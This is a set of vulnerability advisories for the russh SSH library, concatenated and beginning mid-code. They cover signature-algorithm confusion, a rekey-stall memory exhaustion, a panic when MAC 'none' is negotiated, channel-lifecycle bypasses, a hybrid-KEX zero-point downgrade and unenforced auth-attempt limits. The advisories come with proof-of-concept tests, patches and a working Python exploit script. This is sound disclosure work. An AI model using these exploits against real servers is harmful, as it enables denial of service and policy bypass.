    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Vulnerability

The hybrid ML-KEM 768 + X25519 key exchange implementation in russh/src/kex/hybrid_mlkem.rs does not validate that the remote peer's X25519 public key is not the zero point (all-zero 32-byte value). This allows a remote peer to force the X25519 contribution to the combined shared secret to zero, reducing the hybrid KEX to a single-algorithm exchange.

Affected code at HEAD (v0.62.4, commit 0089c89):

Server-side (server_dh, lines 92-93):

let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = s_secret * c_pk1;

Client-side (compute_shared_secret, lines 154-155):

let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = x25519_secret * s_pk1;

Root Cause

Commit a7fc1eb (2026-07-22, "fix mpint encoding and validate curve25519 keys") added zero-point validation to the standalone Curve25519 KEX in russh/src/kex/curve25519.rs at two locations:

• server_dh line 77: if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
• compute_shared_secret line 122: if remote_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

The same X25519 scalar multiplication pattern appears in hybrid_mlkem.rs, but the fix was not applied there.

Proof of Concept

A malicious SSH client negotiating mlkem768x25519-sha256 can send a KEX_HYBRID_INIT message containing a valid ML-KEM 768 encapsulation key followed by 32 zero bytes as the X25519 component.

When the server computes k_cl = s_secret * c_pk1, the result is the zero point regardless of the server's secret scalar. The combined shared secret K = SHA-256(k_pq || k_cl) then depends only on the ML-KEM component. The same attack works in reverse against a client connecting to a malicious server.

The zero X25519 public key passes all existing validation (the length check on line 78 succeeds since 32 bytes is correct). No panic or crash occurs - the exchange completes successfully with a weakened shared secret.

Impact

The purpose of hybrid key exchange is defense-in-depth: if either the classical algorithm (X25519) or the post-quantum algorithm (ML-KEM 768) is broken, the combined secret remains secure. By injecting a zero X25519 public key, an attacker eliminates the classical contribution entirely, reducing security to depend solely on ML-KEM.

This matters in two scenarios:

1. If ML-KEM 768 is later found to have a weakness (the explicit threat model hybrid KEX is designed to mitigate), sessions where the X25519 component was zeroed out lose their fallback protection.
2. An active network attacker who can intercept KEX could downgrade the hybrid exchange to effectively single-algorithm security without either peer detecting it.

The severity is MEDIUM rather than HIGH because the ML-KEM component still provides strong security today, and an active attacker who can modify KEX messages can already perform other attacks unless strict KEX is negotiated.

Suggested Fix

Add zero-point checks in hybrid_mlkem.rs matching the ones in curve25519.rs:

// In server_dh, after line 93:
let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
if c_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

// In compute_shared_secret, after line 155:
let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
if s_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

Ideally, also validate against the other small-subgroup points on Curve25519 (there are a small number of low-order points that also yield a zero shared secret), matching the comprehensive validation OpenSSH performs.

AI tooling

AI assistancewas used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Details

Affected versions and vulnerable location

• Confirmed present on default branch main at HEAD 0089c89c94753bebbec12b956c07a1cd38740379.
• Crate version at HEAD: 0.62.4.
• Vulnerable locations on current default branch:
  • russh/src/server/mod.rs:91 (pub max_auth_attempts: usize)
  • russh/src/server/mod.rs:121 (default max_auth_attempts: 10)
  • russh/src/server/encrypted.rs:89 (USERAUTH_REQUEST dispatch into auth handler path)
  • russh/src/server/encrypted.rs:98 (self.common.auth_attempts += 1)
  • russh/src/server/encrypted.rs:53 (only runtime read of auth_attempts, used for initial reject timing, not attempt limiting)
• Default-branch history check did not show a newer merged commit adding enforcement against config.max_auth_attempts.

Reachability trace verified

1. Entry point: exported server API server::run_stream in russh/src/server/mod.rs:1049.
2. Session run loop in russh/src/server/session.rs processes incoming packets and calls reply(...) (server/session.rs:725).
3. reply forwards encrypted packets to session.server_read_encrypted(...) (server/mod.rs:1221).
4. server_read_encrypted routes USERAUTH_REQUEST to enc.server_read_auth_request(...) (server/encrypted.rs:89).
5. On each request, self.common.auth_attempts += 1 executes (server/encrypted.rs:98).
6. No comparison against self.common.config.max_auth_attempts is present in this runtime flow.

PoC

Reproduction steps and observed output

I did not run a full server process in this environment because Rust tooling is unavailable. I verified the issue from source and command output on the audited tree.

1. Show where max_auth_attempts appears:

rtk rg -n "max_auth_attempts" .scratch/russh/russh/src/server/mod.rs .scratch/russh/russh/src/server/encrypted.rs .scratch/russh/russh/src/server/session.rs

Observed:

.scratch/russh/russh/src/server/mod.rs:91:    pub max_auth_attempts: usize,
.scratch/russh/russh/src/server/mod.rs:121:            max_auth_attempts: 10,
.scratch/russh/russh/src/server/mod.rs:148:            .field("max_auth_attempts", &self.max_auth_attempts)

2. Show runtime auth-attempt handling:

rtk rg -n "auth_attempts == 0|auth_attempts \\+= 1" .scratch/russh/russh/src/server/encrypted.rs

Observed:

53:        let initial_none_rejection_wait_until = if self.common.auth_attempts == 0 {
98:                self.common.auth_attempts += 1;

3. Show production entrypoint-to-auth path references:

rtk rg -n "pub async fn run_stream|match reply\\(|server_read_encrypted\\(|server_read_auth_request\\(" .scratch/russh/russh/src/server/mod.rs .scratch/russh/russh/src/server/session.rs .scratch/russh/russh/src/server/encrypted.rs

Observed:

.scratch/russh/russh/src/server/encrypted.rs:89:                enc.server_read_auth_request(
.scratch/russh/russh/src/server/session.rs:725:                            match reply(&mut self, &mut handler, &mut pkt).await {
.scratch/russh/russh/src/server/mod.rs:1049:pub async fn run_stream<H, R>(
.scratch/russh/russh/src/server/mod.rs:1221:    session.server_read_encrypted(handler, pkt).await

4. Toolchain check:

cargo --version

Observed:

/bin/bash: line 1: cargo: command not found

Impact

Attacker model

• Attacker: unauthenticated remote client with TCP reachability to a russh-backed SSH service.
• Preconditions: deployer expects server::Config.max_auth_attempts to cap attempts.
• Impact: repeated USERAUTH_REQUEST attempts continue for a single connection beyond configured limit, increasing online guessing opportunity and backend auth workload.

Suggested fix

Enforce max_auth_attempts in the USERAUTH_REQUEST branch before invoking auth-method handlers, and fail closed once threshold is reached.

Concrete patch direction in russh/src/server/encrypted.rs:

if self.common.config.max_auth_attempts > 0
    && self.common.auth_attempts >= self.common.config.max_auth_attempts
{
    self.common.disconnect(
        Disconnect::NoMoreAuthMethodsAvailable,
        "Too many authentication attempts",
        "",
    )?;
    return Ok(());
}

How it was found and a note on tooling

The researcher synthesized three lens outputs, then revalidated each claim against current main: source presence and commit history, advisory overlap checks in both GitHub advisories and OSV, entrypoint-to-sink reachability, attacker-model realism, and execution-claim integrity. The researcher used gh, git, rg, and direct source inspection under .scratch/russh. Because Rust tooling is unavailable in this worker, this report is intentionally marked source-only.

AI assistance was used while investigating this and while drafting this report. The finding was verified by reading the cited code at HEAD. The vulnerability was not executed it, and that limit is stated plainly above rather than left implied.

Credits: arpitjain099.

There is a server-side channel state issue in russh.

After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.

This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.

Impact

An authenticated client can bypass the server application's channel-open policy.

A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.

That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.

The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.

Why this is not intended behavior

SSH channel requests are not global post-authentication requests. They are operations on an existing channel.

RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.

The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.

This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.

Documentation and API boundary

The public API documentation supports this boundary.

channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.

Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.

Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.

Root cause

In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.

The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.

For example, the exec branch has this shape:

"exec" => {
    let req = map_err!(Bytes::decode(r))?;
    map_err!(ensure_end(r))?;

    if let Some(chan) = self.channels.get(&channel_num) {
        let _ = chan
            .send(ChannelMsg::Exec {
                want_reply: true,
                command: req.to_vec(),
            })
            .await;
    }

    handler.exec_request(channel_num, &req, self).await
}

If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.

The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.

There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.

The authoritative source for whether a channel is established should be enc.channels, not self.channels.

Evidence from the PoC

The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.

POC Code :

import argparse
import sys
import time

import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException

CHANNEL_SCAN_END = 32


def connect(port: int) -> paramiko.Transport:
    transport = paramiko.Transport(("127.0.0.1", port))
    transport.connect(username="alice", password="correct")
    return transport


def normal_allowed(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    channel = transport.open_session(timeout=5)
    print("normal client: session open confirmed")
    print('normal client: exec "protected"')
    channel.exec_command("protected")
    time.sleep(0.25)
    channel.close()
    transport.close()


def normal_denied(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("normal client: session open denied")
        pass
    else:
        raise RuntimeError("normal denied control unexpectedly opened a session channel")
    time.sleep(0.25)
    transport.close()


def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
    print(
        "crafted packet: "
        f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
        f"recipient_channel={recipient_channel} "
        'request_type="exec" '
        'command="protected"'
    )
    msg = Message()
    msg.add_byte(cMSG_CHANNEL_REQUEST)
    msg.add_int(recipient_channel)
    msg.add_string("exec")
    msg.add_boolean(True)
    msg.add_string(b"protected")
    transport._send_user_message(msg)


def exploit_denied(port: int) -> None:
    transport = connect(port)
    print("malicious peer: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("malicious peer: session open denied")
    else:
        raise RuntimeError("exploit setup unexpectedly opened a session channel")

    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def exploit_without_open(port: int) -> None:
    transport = connect(port)
    print("malicious peer: no CHANNEL_OPEN sent")
    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--mode",
        choices=["allowed", "denied", "denied-open", "noopen"],
        required=True,
    )
    parser.add_argument("--port", type=int, required=True)
    args = parser.parse_args()

    if args.mode == "allowed":
        normal_allowed(args.port)
    elif args.mode == "denied":
        normal_denied(args.port)
    elif args.mode == "noopen":
        exploit_without_open(args.port)
    else:
        exploit_denied(args.port)
    return 0


if __name__ == "__main__":
    sys.exit(main())

The crafted packet form is:

SSH_MSG_CHANNEL_REQUEST(98)
recipient_channel = N
request_type = "exec"
command = "protected"

The PoC runs normal controls and exploit cases in one execution.

Allowed control

This proves the protected action works normally when a session channel is opened.

normal client: CHANNEL_OPEN session
normal client: session open confirmed
normal client: exec "protected"

channel_open_session called: 1
exec_request called: 1
protected action executed: 1
channel ever opened/confirmed: true
working recipient channel ids: [2]

Denied control

This proves the application policy denies session channels and a normal client cannot reach the protected action.

normal client: CHANNEL_OPEN session
normal client: session open denied

channel_open_session called: 1
exec_request called: 0
protected action executed: 0
channel ever opened/confirmed: false
working recipient channel ids: none

Main exploit: no channel open

This is the main issue.

The authenticated client does not send SSH_MSG_CHANNEL_OPEN. It sends crafted SSH_MSG_CHANNEL_REQUEST packets for recipient IDs 0..31.

malicious peer: no CHANNEL_OPEN sent
malicious peer: scanning recipient channel ids 0..31

channel_open_session called: 0
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

